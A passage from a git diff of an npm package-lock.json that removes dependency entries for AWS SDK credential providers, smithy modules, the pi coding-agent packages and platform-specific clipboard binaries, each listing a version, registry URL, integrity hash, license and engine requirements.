"^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.43.tgz", - "integrity": "sha512-4mzII+3mZEVXXE1xzrLQrCJL7/r62A63bA6SVzZoNL5rqCJghpf+xgGltVrIBBs0n+mOZBKrQl2tRREtvZ5l6A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-env": "^3.972.39", - "@aws-sdk/credential-provider-http": "^3.972.41", - "@aws-sdk/credential-provider-login": "^3.972.43", - "@aws-sdk/credential-provider-process": "^3.972.39", - "@aws-sdk/credential-provider-sso": "^3.972.43", - "@aws-sdk/credential-provider-web-identity": "^3.972.43", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/credential-provider-imds": "^4.3.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-login": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.43.tgz", - "integrity": "sha512-HG7kQCwXtbv3oBV61Ins0oNX8KKyvrMqqRkb6ZiAfQHbMuHaiNaEb2KnpKLPkNpqImSBK82UkVE/kaY6IfWikA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node": { - "version": "3.972.44", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.44.tgz", - "integrity": "sha512-sDaBIT0yrNNIPfvlsiTCmANm07zKju+ipWODjEXgZlsjMeIJR3LVp7RDyAOzUoAsTbDfYKDWp+i5WrFiQP6rmQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/credential-provider-env": "^3.972.39", - "@aws-sdk/credential-provider-http": "^3.972.41", - "@aws-sdk/credential-provider-ini": "^3.972.43", - "@aws-sdk/credential-provider-process": "^3.972.39", - "@aws-sdk/credential-provider-sso": "^3.972.43", - "@aws-sdk/credential-provider-web-identity": "^3.972.43", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/credential-provider-imds": "^4.3.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-process": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.39.tgz", - "integrity": "sha512-2k/amBifLd75eXNwgvPw/2lKYSQ3NhvHQgkVKVjfUq13/eJ3JRtHmznuFenn74OK3sSfp4SMy1YB2w+UVXoKqA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.43.tgz", - "integrity": "sha512-LPc3+Y4vhH1T4x6CMqwCM6hk5+SRf/Lwmgm8INm95wxTtIRHcMwQUVkDzWu4Iw/RSncxYM2BC01OrYbxOPZvyg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/token-providers": "3.1052.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.43.tgz", - "integrity": "sha512-wQtL34lUD/09VXjwAUo2T+I3aEXRDxMB3DKmTJL/Zj0Gi6sLDTrVhae1XVt01yzkquOWajI/sZW72JGDZ1ciTw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/eventstream-handler-node": { - "version": "3.972.17", - "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.17.tgz", - "integrity": "sha512-WFwdNcjchKZr7jKYgGimUZO8sSKQF/le7GGqgeCzz/lHozInE6b0gFJ1YMr8NaIeAoWJwgtrF7RE4/qMgosAdQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-eventstream": { - "version": "3.972.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.13.tgz", - "integrity": "sha512-ECfsw7mf6G/sxNbKbGE3/h1xeIArY/yRI1IjDGYkLgDIankh+aDOtDRSr40LVlIHGL9+jEH1cVuxmbJ8NLL/1A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-websocket": { - "version": "3.972.21", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.21.tgz", - "integrity": "sha512-yr+5+C7v9R55sAJ89A55Wrm7wIKPVn5cm6J3Hztnd5s/iwEUKxyJqCnIxJu4fVXgG9XBQD1Jc4rsWC1ozahJjA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">= 14.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients": { - "version": "3.997.11", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.11.tgz", - "integrity": "sha512-nWXXJ1r/r8N2Gw1pWolRgED38/A9A8DHR2ETWIv220zh4PZHcybbR4hUVWWktmNXTRHzDJwRluapHn0rZxuoqA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/signature-v4-multi-region": "^3.996.28", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/signature-v4-multi-region": { - "version": "3.996.28", - "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.28.tgz", - "integrity": "sha512-qs9z5LqXO/CZC2Lg9SGKpoLU8Rhi+m2pFKZqfO9pytX1clc0katqtsDNupJxFy0xT9wsZSPzM2v1y+/H/zfp5Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/token-providers": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1053.0.tgz", - "integrity": "sha512-laSwHLYMMrXQRl2mFDXszF43m/F4pKWyGr7hCLfJmV8rn8c6CnI/hp/bf/Gn7gLcjz0SY4evd7SBpqtnIhzA/A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/types": { - "version": "3.973.9", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.9.tgz", - "integrity": "sha512-kuBfgQVdcz5Bmapc4A13YbpVw/pXkesfhetcFYwbntqas8sF41OHyd4o28+/TG2ZQdHBsv90Lsu5y6oitvYCdg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-locate-window": { - "version": "3.965.5", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.5.tgz", - "integrity": "sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/xml-builder": { - "version": "3.972.25", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.25.tgz", - "integrity": "sha512-GH+Kjz4nPKWKHnsiQpnhP1MJdTGIcK4rAka6tzakgjjUkVgNsmPeEbbRAf09SzS1hjGu6duGHCBsxYke0BhHjQ==", - "license": "Apache-2.0", - "dependencies": { - "@nodable/entities": "2.1.0", - "@smithy/types": "^4.14.2", - "fast-xml-parser": "5.7.3", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws/lambda-invoke-store": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", - "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.29.2", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", - "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@earendil-works/pi-agent-core": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-agent-core/-/pi-agent-core-0.75.5.tgz", - "integrity": "sha512-LHygOgsW2pgXKb3IkXkOAeZPovHr9VF+EixgXVsDNuB4jmhEOXgshy/zksZ7slkUAx10OQ9W1Ed/2jsnhd1NqA==", - "license": "MIT", - "dependencies": { - "@earendil-works/pi-ai": "^0.75.5", - "ignore": "7.0.5", - "typebox": "1.1.38", - "yaml": "2.9.0" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@earendil-works/pi-ai": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-0.75.5.tgz", - "integrity": "sha512-zf1F5kXk1pqZeFShXOqq9ibUk8QdtRoLCDPAjO+hj44e3EUs9/GFO2qnhTC5+JA2uwVCx+WCNe1PiCjlBYWm5w==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": "0.91.1", - "@aws-sdk/client-bedrock-runtime": "3.1048.0", - "@google/genai": "1.52.0", - "@mistralai/mistralai": "2.2.1", - "@smithy/node-http-handler": "4.7.3", - "http-proxy-agent": "7.0.2", - "https-proxy-agent": "7.0.6", - "openai": "6.26.0", - "partial-json": "0.1.7", - "typebox": "1.1.38" - }, - "bin": { - "pi-ai": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@earendil-works/pi-coding-agent": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-coding-agent/-/pi-coding-agent-0.75.5.tgz", - "integrity": "sha512-O3CCQDYy28D4uwtP6zZkdEwzHN6X22v49Sb0+SZTC7x37V/YfmogrWPiaFoWeoc2hmdKhSATI7ZAK5bQbJG5NA==", - "license": "MIT", - "dependencies": { - "@earendil-works/pi-agent-core": "^0.75.5", - "@earendil-works/pi-ai": "^0.75.5", - "@earendil-works/pi-tui": "^0.75.5", - "@silvia-odwyer/photon-node": "0.3.4", - "chalk": "5.6.2", - "cross-spawn": "7.0.6", - "diff": "8.0.4", - "glob": "13.0.6", - "highlight.js": "10.7.3", - "hosted-git-info": "9.0.3", - "ignore": "7.0.5", - "jiti": "2.7.0", - "minimatch": "10.2.5", - "proper-lockfile": "4.1.2", - "typebox": "1.1.38", - "undici": "8.3.0", - "yaml": "2.9.0" - }, - "bin": { - "pi": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - }, - "optionalDependencies": { - "@mariozechner/clipboard": "0.3.6" - } - }, - "node_modules/@earendil-works/pi-tui": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-tui/-/pi-tui-0.75.5.tgz", - "integrity": "sha512-LkXUM1/49pvzzeI39Y5wjBMlgafcCf67HCLhB9Z7yuXHy4XgT+VqxWcZVW5hBdhQsHZd0znjJotfGH1BzxMfiA==", - "license": "MIT", - "dependencies": { - "get-east-asian-width": "1.6.0", - "marked": "15.0.12" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@google/genai": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.52.0.tgz", - "integrity": "sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "p-retry": "^4.6.2", - "protobufjs": "^7.5.4", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.25.2" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@mariozechner/clipboard": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard/-/clipboard-0.3.6.tgz", - "integrity": "sha512-MXdtr+6+ntlIVHdrZYuZNQydu6o8yZswFJ2Ln81j2O/Y9B/LDHvEaIm95xWNPkjGTWriSOeLnQJRFs6dYb60bg==", - "license": "MIT", - "optional": true, - "engines": { - "node": ">= 10" - }, - "optionalDependencies": { - "@mariozechner/clipboard-darwin-arm64": "0.3.6", - "@mariozechner/clipboard-darwin-universal": "0.3.6", - "@mariozechner/clipboard-darwin-x64": "0.3.6", - "@mariozechner/clipboard-linux-arm64-gnu": "0.3.6", - "@mariozechner/clipboard-linux-arm64-musl": "0.3.6", - "@mariozechner/clipboard-linux-riscv64-gnu": "0.3.6", - "@mariozechner/clipboard-linux-x64-gnu": "0.3.6", - "@mariozechner/clipboard-linux-x64-musl": "0.3.6", - "@mariozechner/clipboard-win32-arm64-msvc": "0.3.6", - "@mariozechner/clipboard-win32-x64-msvc": "0.3.6" - } - }, - "node_modules/@mariozechner/clipboard-darwin-arm64": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-darwin-arm64/-/clipboard-darwin-arm64-0.3.6.tgz", - "integrity": "sha512-HjaisYCAbHi/1+N1yDAQHc8ZXGffufIUT5NSOSVR3f3AuMDusxTtnbK8tZ7JFDkShua1oNGZoNwQHsc8MPtE0Q==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-darwin-universal": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-darwin-universal/-/clipboard-darwin-universal-0.3.6.tgz", - "integrity": "sha512-8BWtPjOtJOJoykml3w0fx0zRrfWP31mXrJwfoA7xzNprkZw1uolCNfgmjDiVBseoKjp16EGITz7bN+61qn8dWA==", - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-darwin-x64": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-darwin-x64/-/clipboard-darwin-x64-0.3.6.tgz", - "integrity": "sha512-p9syiZD1kU4I+1ya7f7g+zD1GiUvR8fdlRlNmgsZNWlyjtc8rlV2EjTLd/35x1LsdBq020GVvtzp0ZmPgBI09Q==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-arm64-gnu": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-arm64-gnu/-/clipboard-linux-arm64-gnu-0.3.6.tgz", - "integrity": "sha512-5JFf5rGofrm+V29HNF+wLthXphHdQpMbKDUYJ5tML6/Z5DLlLOV/9Ak4kDPtYyZ+Dzf+kAusE0VsFg4+tfP1IA==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-arm64-musl": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-arm64-musl/-/clipboard-linux-arm64-musl-0.3.6.tgz", - "integrity": "sha512-JlVjxxw0GbGC0djXYWRIqyteO3J1KZ/QG3udlEFaOD5TLOM1FnmXXAPDQBqr+aBVr720ef9K00dirYnJ0LDCtw==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-riscv64-gnu": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-riscv64-gnu/-/clipboard-linux-riscv64-gnu-0.3.6.tgz", - "integrity": "sha512-4t8BUi5zZ+L77otFQVnVSlaTyAX4TVk9EqQm4syMrEQp96trFEHEwwNHcNEBGzYv5+K7mxay50TthYkz47OWzQ==", - "cpu": [ - "riscv64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-x64-gnu": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-x64-gnu/-/clipboard-linux-x64-gnu-0.3.6.tgz", - "integrity": "sha512-trtPwcNLW37irwQCJLtCxLw757jjJZk3TSnY/MU9bhtWtA3K9b/eLW0e4RGhUXDoFRds9opNWWaUDuFLa8dm0w==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-x64-musl": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-x64-musl/-/clipboard-linux-x64-musl-0.3.6.tgz", - "integrity": "sha512-WfnzIvOCCWQiN0MmltCEo6cLceUDbYe+I7xyFZjaps5A+2Op/M2CY7Rey+C4ucQhrvmpoHmTSFgY9ODWk7snoA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-win32-arm64-msvc": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-win32-arm64-msvc/-/clipboard-win32-arm64-msvc-0.3.6.tgz", - "integrity": "sha512-+8+1aHYsBPUjmW3otmWlg+Hijt0iJvoBBs5e0mxFeUd4gDaKMB8Bn6x7c6KVtscg7E5j5NFXnwQqNSIAO4p8zQ==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-win32-x64-msvc": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-win32-x64-msvc/-/clipboard-win32-x64-msvc-0.3.6.tgz", - "integrity": "sha512-S4xfPmERC8ZkiLHe3vekZCjdDwNEETCuvCgQK2kP6/TnvmUkq1y2Pk+DjM4t8uh9KMX9bH4zs5ePcKa8GTXmfg==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mistralai/mistralai": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", - "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", - "license": "Apache-2.0", - "dependencies": { - "ws": "^8.18.0", - "zod": "^3.25.0 || ^4.0.0", - "zod-to-json-schema": "^3.25.0" - } - }, - "node_modules/@nodable/entities": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", - "integrity": "sha512-nyT7T3nbMyBI/lvr6L5TyWbFJAI9FTgVRakNoBqCD+PmID8DzFrrNdLLtHMwMszOtqZa8PAOV24ZqDnQrhQINA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/nodable" - } - ], - "license": "MIT" - }, "node_modules/@openai/codex": { "version": "0.134.0", "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.134.0.tgz", @@ -885,899 +136,12 @@ "node": ">=16" } }, - "node_modules/@silvia-odwyer/photon-node": { - "version": "0.3.4", - "resolved": "https://registry.npmjs.org/@silvia-odwyer/photon-node/-/photon-node-0.3.4.tgz", - "integrity": "sha512-bnly4BKB3KDTFxrUIcgCLbaeVVS8lrAkri1pEzskpmxu9MdfGQTy8b8EgcD83ywD3RPMsIulY8xJH5Awa+t9fA==", - "license": "Apache-2.0" - }, - "node_modules/@smithy/core": { - "version": "3.24.4", - "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.24.4.tgz", - "integrity": "sha512-3UNRKEyQyAgVgM0LGlerCLm+ChZWZ1GPfde+jBEW6bm6bSBGU1p0EbblaUV3unbhwvidjLA5Zs3sOs7mnZwvAw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/crc32": "5.2.0", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/credential-provider-imds": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.3.4.tgz", - "integrity": "sha512-vKW0MEFRU4Y3MkVZUkpJm+g9qyPGLCXhc0YLggUdSdBB4g7IaSSsCE75P9rBXyWHrXY1UYSQUl8/DwsTR7QciA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/fetch-http-handler": { - "version": "5.4.4", - "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.4.4.tgz", - "integrity": "sha512-qM7AUKI4G6d7lNgaZD3lA1tWSolh5r6gcixfTZAPstVURfjIbvreVTPz+994M0yC3HbX4YYhDRgr31Xy3XwWOQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/is-array-buffer": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", - "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@smithy/node-http-handler": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.4.tgz", - "integrity": "sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/signature-v4": { - "version": "5.4.4", - "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.4.4.tgz", - "integrity": "sha512-e5UtkMvsatzBfbeBZjEOt0k0Z3BEsjTFL/n6fdO5vtBLe67tdy0dX7xw2DU7uZ3acwoHyeCqpU2Fzb7pxwHb6Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.4", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/types": { - "version": "4.14.2", - "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.2.tgz", - "integrity": "sha512-P+otAxbV4CqBybp7EkcJCrig63yE2E7PuNVOmilVMRcx/O+QDzGULTrKsq4DV13gSfak9ObPrWaHl/9bL5YcWw==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-buffer-from": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", - "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@smithy/util-utf8": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", - "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@stablelib/base64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", - "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", - "license": "MIT" - }, - "node_modules/@types/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", - "license": "MIT" - }, - "node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" 